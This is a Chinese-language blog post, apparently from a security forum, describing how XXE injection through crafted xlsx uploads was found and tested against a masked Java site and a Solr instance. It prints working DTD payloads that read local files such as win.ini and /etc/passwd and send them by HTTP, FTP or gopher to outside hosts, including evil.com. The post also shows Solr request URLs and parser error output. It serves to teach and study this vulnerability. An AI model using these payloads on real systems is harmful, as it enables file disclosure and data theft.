0x00 概述

Microsoft Office从2007版本引入了新的开放的XML文件格式,基于压缩的ZIP文件格式规范,改后缀名为zip再解压缩可以发现其中多数是描述工作簿数据、元数据、文档信息的XML文件。

许多网站允许上传/导入文件,处理文件内部数据一般都会解析XML,若未安全配置解析器,则可能存在XXE漏洞。
通常大多数解析开始的地方是xl/workbook.xml,它提供了工作簿内容的概述,包含工作表及其名称的列表。各个工作表位于xl/worksheets目录下,通常内容最终位于xl/sharedStrings.xml。
大多数应用程序似乎都将xl / workbook.xml放入其XML解析器中以获取工作表列表,然后分别读取每个工作表以获取单元格内容。
xls与xlsx格式不同,xls是特有的二进制格式,其核心结构是复合文档类型,而xlsx的核心结构是XML类型,采用基于XML的压缩方式。xls格式文件无法插入payload进行XXE攻击。
测试的时候,根据功能点,docx,xlsx都可以尝试。

0x01 漏洞发现

https://zhpt.xxx.com/yyyService/zzz/yyymastermanager/batchAdd

制作xlsx:
unzip ImportProductTemplate.xlsx
zip -r xxetest00.xslx *

即使返回导入失败,也成功解析了xml

由于是java的站,所以利用ftp协议读取文件





可能由于目标jdk版本过高,无法完整读取有换行的文件,也无法列目录。
excel xxe可触发解析的xlsx内文件:
[Content_Types].xml

xl/workbook.xml

xl/worksheets/sheet1.xml

_rels/.rels

这些也可以尝试:
xl/_rels/workbook.xml.rels
xl/theme/theme1.xml
_rels/.rels
docProps/app.xml
docProps/core.xml
xl/_rels/workbook.xml.rels
xl/styles.xml
xl/workbook.xml

0x02 思考

java环境,读取有换行的文件成功与否与和java版本/操作系统有关。
php可以用base64编码带出,如下:
xxe.dtd:

<!ENTITY % payload SYSTEM  "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://192.168.1.2:8999/getxxeinfo.php?p=%payload;'>">
%int;
%trick;

而java会出异常

//jdk8u201

低版本Java可用gopher(java1.6)带出

<!ENTITY % payload SYSTEM "file:///c:/Windows/win.ini"><!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'gopher://evil.com/%payload;'>">
%int;
%trick;

高版本java(不知道从1.8哪个版本开始)的ftp协议对换行做了限制

//jdk8u201
//某些版本java会有checkUrl()在issueCommand()之前就检查\n
//sun.net.www.protocol.ftp.FtpURLConnection.checkURL()
Java支持的协议

按常理在读取多行文件时候,高版本java碰到异常就读取不了了,但是/etc/passwd可以返回第一行的部分,其他文件就没返回。
利用solr xxe漏洞测试
java 8u151

192.168.1.2:8983/solr/demo/select?q=<%3Fxml version%3D"1.0" encoding%3D"UTF-8"%3F>%0A<!DOCTYPE root [%0A<!ENTITY %25 remote SYSTEM "http%3A%2F%2F192.168.1.2:8099%2Fx0.dtd">%0A%25remote%3B]>%0A<root%2F>&wt=xml&defType=xmlparser

尝试读多行文件

ftp无返回,但是/etc/passwd有返回

http无返回

ftp读取passwd出现下面异常,应该就是换行问题,能返回第一行一部分
org.apache.solr.search.SyntaxError: Error parsing XML stream:java.io.IOException: sun.net.ftp.FtpProtocolException: Illegal FTP command in {q=<?xml+version%3D"1.0"+encoding%3D"UTF-8"?>%0a<!DOCTYPE+root+[%0a<!ENTITY+%25+remote+SYSTEM+"http://192.168.1.2:8099/x0.dtd">%0a%25remote;]>%0a<root/>&defType=xmlparser&df=_text_&rows=10&wt=xml&echoParams=explicit}

http读passwd一行都没返回,应该也是换行问题
org.apache.solr.search.SyntaxError: Error parsing XML stream:java.net.MalformedURLException: Illegal character in URL in {q=<?xml+version%3D"1.0"+encoding%3D"UTF-8"?>%0a<!DOCTYPE+root+[%0a<!ENTITY+%25+remote+SYSTEM+"http://192.168.1.2:8099/x5.dtd">%0a%25remote;]>%0a<root/>&defType=xmlparser&df=_text_&rows=10&wt=xml&echoParams=explicit}

读取单行文件:
http成功返回

ftp成功返回

Win7(8u201)下测试passwd的第一行可以返回,win.ini无返回......

继续测试,发现能返回最后一个/b前面的部分

linux也一样


感兴趣的大神可以调试一下,兴许一个CVE就出现了......

顺便说一下,如果文件中含有
‘ “ < > &
直接读会报错
可以利用CDATA 
由<![CDATA[开始,由]]>结束
可以用于xxe有回显的情况
dtd
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % c "<!ENTITY % rrr SYSTEM 'ftp://xxx/%start;%r;%end;'>">
payload
<?xml version="1.0"?>
<!DOCTYPE cdl [
<!ENTITY % r SYSTEM "file:///c:/Windows/win.ini">
<!ENTITY % asd SYSTEM "http://1.2.3.4:5555/cdata.dtd">
%asd;%c;%rrr;]>

0x03 相关案例

https://medium.com/@jonathanbouman/xxe-at-bol-com-7d331186de54

https://wemp.app/posts/c6478311-33dc-4c59-92bc-12105baf5bac
QQ邮箱XXE可读取任意文件
网易邮箱某处XXE可读取文件

0x04 参考资料

https://www.4armed.com/blog/exploiting-xxe-with-excel/
https://www.freebuf.com/column/232334.html
scz.617.cn/misc/201911011122.txt
https://www.t00ls.net/articles-32919.html
https://www.leadroyal.cn/?p=914
www.mi1k7ea.com/2019/02/13/XML注入之DocumentBuilder/

点击收藏 | 4 关注 | 2
  • 动动手指,沙发就是你的了!
登录 后跟帖